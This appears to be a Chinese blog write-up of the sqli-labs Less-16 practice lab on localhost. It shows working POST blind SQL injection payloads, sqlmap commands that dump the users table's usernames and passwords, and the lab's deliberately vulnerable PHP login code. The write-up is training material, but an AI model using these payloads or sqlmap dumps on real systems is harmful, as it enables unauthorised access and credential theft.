sql-labs靶场第十六关测试报告

embedded/2024/10/21 11:59:21/

目录

一、测试环境

1、系统环境

2、使用工具/软件

二、测试目的

三、操作过程

1、寻找注入点

2、注入数据库

①寻找注入方法

②爆库,查看数据库名称

③爆表,查看security库的所有表

④爆列,查看users表的所有列

⑤成功获取用户名和密码信息

sqlmap%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95-toc" style="margin-left:40px;">3、sqlmap注入方法

①爆库

②爆表

③爆列

④爆字段

四、源代码分析

五、结论


一、测试环境

1、系统环境

渗透机:本机(127.0.0.1)

靶  机:本机(127.0.0.1)

2、使用工具/软件

火狐浏览器的hackbar插件,版本:2.3.1;

Burp suite,版本:2024.7.2;

测试网址:http://127.0.0.1/sqli-labs-master/sqli-labs-master/Less-16/

二、测试目的

测试post型的sql注入,使用盲注注入出账户密码;使用sqlmap爆破,熟悉sqlmap的参数。

三、操作过程

1、寻找注入点

尝试提交数据,发现url中没有参数,猜测是post型传参

抓个包看看,是post类型传参,两个注入点:username和password

2、注入数据库

①寻找注入方法

知道传递数据方式后,直接使用hackbar传递post型参数即可,格式抓包可以知道

uname=12&passwd=12&submit=Submit

执行,可以传递数据

加引号或者双引号,都没有任何信息

uname=12'&passwd=12&submit=Submit

uname=12"&passwd=12&submit=Submit

测试闭合方式

经过不断尝试得到闭合符号为 ") 时,页面成功登录

uname=12") or 1=1#&passwd=12&submit=Submit

没有回显结果,能使用盲注

uname=12") or 1=2#&passwd=12&submit=Submit

结果正常显示failed

②爆库,查看数据库名称

爆出当前数据库的长度

uname=12") or (length(database()))=8#&passwd=12&submit=Submit

获取数据库名,第一个字母的ascii码值

(因为要比较ASCII码值,速度很慢,所以手工注入只做个演示)

uname=12") or ascii(substr(database(),1,1))=115#&passwd=12&submit=Submit

第一个字母的ASCII码值为115即s  ,其他字母以此类推,更改substr函数的第二个参数(起始位置),获取第二个字母……第三个……

③爆表,查看security库的所有表

爆表同理,获取表中第一行第一个字母,寻找ASCII码值

uname=12 ") or (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101#&passwd=12&submit=Submit

④爆列,查看users表的所有列

同理,找ASCII码值

uname=12 ") or (ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117#&passwd=das&submit=Submit

⑤成功获取用户名和密码信息

爆字段值,查看username和password字段的所有信息

username字段

uname=12") or ascii(substr((select username from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

password字段

uname=12") or ascii(substr((select password from users limit 0,1),1,1))=68#&passwd=das&submit=Submit

sqlmap%E6%B3%A8%E5%85%A5%E6%96%B9%E6%B3%95">3、sqlmap注入方法

①爆库

这关是post传参,sqlmap爆破需要抓包将数据包保存,再进行爆破

Sqlmap稳定发挥,yyds

Burp右键选择copy to file保存

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt --dbs

使用python程序

-r  指定抓到的数据包文件

--dbs   是爆库的参数

②爆表

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security --tables 

-D  指定数据库,在这个数据库里找数据表

--tables   爆表的参数

③爆列

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users --columns

-D   指定数据库

-T   指定数据表

--columns    爆破列名的参数

④爆字段

python sqlmap.py -r C:\Users\lenovo\Desktop\1.txt -D security -T users -C username,password --dump

-D   指定数据库

-T   指定数据表

-C   指定需要爆破的列名

--dump    爆破字段值的参数

四、源代码分析

<?php
//including the Mysql connect parameters.
include("../sql-connections/sql-connect.php");
error_reporting(0);// take the variables
if(isset($_POST['uname']) && isset($_POST['passwd']))
{$uname=$_POST['uname'];$passwd=$_POST['passwd'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'User Name:'.$uname."\n");fwrite($fp,'Password:'.$passwd."\n");fclose($fp);// connectivity$uname='"'.$uname.'"';$passwd='"'.$passwd.'"'; @$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){//echo '<font color= "#0000ff">';   echo "<br>";echo '<font color= "#FFFF00" font size = 4>';//echo " You Have successfully logged in " ;echo '<font size="3" color="#0000ff">'; echo "<br>";//echo 'Your Login name:'. $row['username'];echo "<br>";//echo 'Your Password:' .$row['password'];echo "<br>";echo "</font>";echo "<br>";echo "<br>";echo '<img src="../images/flag.jpg"  />';   echo "</font>";}else  {echo '<font color= "#0000ff" font size="3">';echo "</br>";echo "</br>";//echo "Try again looser";//print_r(mysql_error());echo "</br>";echo "</br>";echo "</br>";echo '<img src="../images/slap.jpg"  />';   echo "</font>";  }
}?>

1.error_reporting(0);函数,关闭了php代码的所有错误报告。

2.检测了用户名和密码是否设置,给变量加了双引号,sql语句中给变量加了括号。

3.这关将执行失败的报错信息也注释掉了,结果不会有显示。不过因为直接调用的变量,存在万能密码漏洞,这样登录成功和失败的结果会不同,可以使用盲注

4.Sql语句只取一行,注入时会把注释掉。

五、结论

寻找注入点的步骤十分重要,找到注入点和闭合符号之后的测试就顺理成章了。

Post类型sql注入,注入方式要完整提交post参数,其他步骤与get类型一致。

寻找闭合符号要有耐心,需要不断地尝试。

sqlmap的话,只需要指定抓到的数据包即可。

这关使用盲注得到结果,根据true和false的信息,判断数据库信息。


http://www.ppmy.cn/embedded/129262.html

相关文章

基于SpringBoot+Vue的旅游服务平台【提供源码+答辩PPT+参考文档+项目部署】

&#x1f4a5; ① 前言&#xff1a;这两年毕业设计和毕业答辩的要求和难度不断提升&#xff0c;传统的JavaWeb项目缺少创新和亮点&#xff0c;往往达不到毕业答辩的要求&#xff01; ❗② 如何解决这类问题&#xff1f; 让我们能够顺利通过毕业&#xff0c;我也一直在不断思考、…

ES6新增promise(异步编程新解决方案)如何封装ajax?

1.什么是异步&#xff1f; 异步是指从程序在运行过程中可以先执行其他操作。 2.什么是promise&#xff1f; Promise 是 ES6 引入的异步编程的新解决方案。语法上 Promise 是一个构造函数&#xff0c;用来封装异步 操作并可以获取其成功或失败的结果&#xff1b; 3.promise成功…

2024java高频面试之JVM

说说 JVM 内存区域 程序计数器 是「程序控制流的指示器&#xff0c;循环&#xff0c;跳转&#xff0c;异常处理&#xff0c;线程的恢复等工作都需要依赖程序计数器去完成」。程序计数器是「线程私有」的&#xff0c;它的「生命周期是和线程保持一致」的&#xff0c;我们知道&a…

Android Studio build失败解决方案

问题背景 使用android studio编译app时遇到在仓库中找不到对应插件的问题 以及Connection refused的问题 Error:Connection refused: no further information android studio 在网上找了各种方法尝试了&#xff0c;都没有用。 解决方案 升级了最新的android studio版本&am…

“探索Adobe Photoshop 2024:订阅方案、成本效益分析及在线替代品“

设计师们对Adobe Photoshop这款业界领先的图像编辑软件肯定不会陌生。如果你正考虑加入Photoshop的用户行列&#xff0c;可能会对其价格感到好奇。Photoshop的价值在于其强大的功能&#xff0c;而它的价格也反映了这一点。下面&#xff0c;我们就来详细了解一下Adobe Photoshop…

使用函数制作一个简易的计算机

&#x1f468;‍&#x1f4bb;个人主页&#xff1a;开发者-曼亿点 &#x1f468;‍&#x1f4bb; hallo 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! &#x1f468;‍&#x1f4bb; 本文由 曼亿点 原创 &#x1f468;‍&#x1f4bb; 收录于专栏&#xff1a…

Python画笔案例-090 绘制 菱正图案

1、绘制 菱正图案 通过 python 的turtle 库绘制 菱正图案,如下图: 2、实现代码 绘制 菱正图案,以下为实现代码: """菱正图案.py本程序把所定义的函数和下一行代码去掉,也能运行,但有什么区别?请仔细观察! """ import turtledef _create…

docker删除容器要怎么操作?如何保障容器安全!

对于新手来说很多用户不清楚docker删除容器要怎么操作&#xff1f;在执行删除操作前&#xff0c;请确保不需要保留容器的任何数据或状态信息&#xff0c;或者已经备份了重要数据。要删除Docker容器和镜像&#xff0c;可以使用以下命令。今天就跟着小编一起来了解下docker删除容…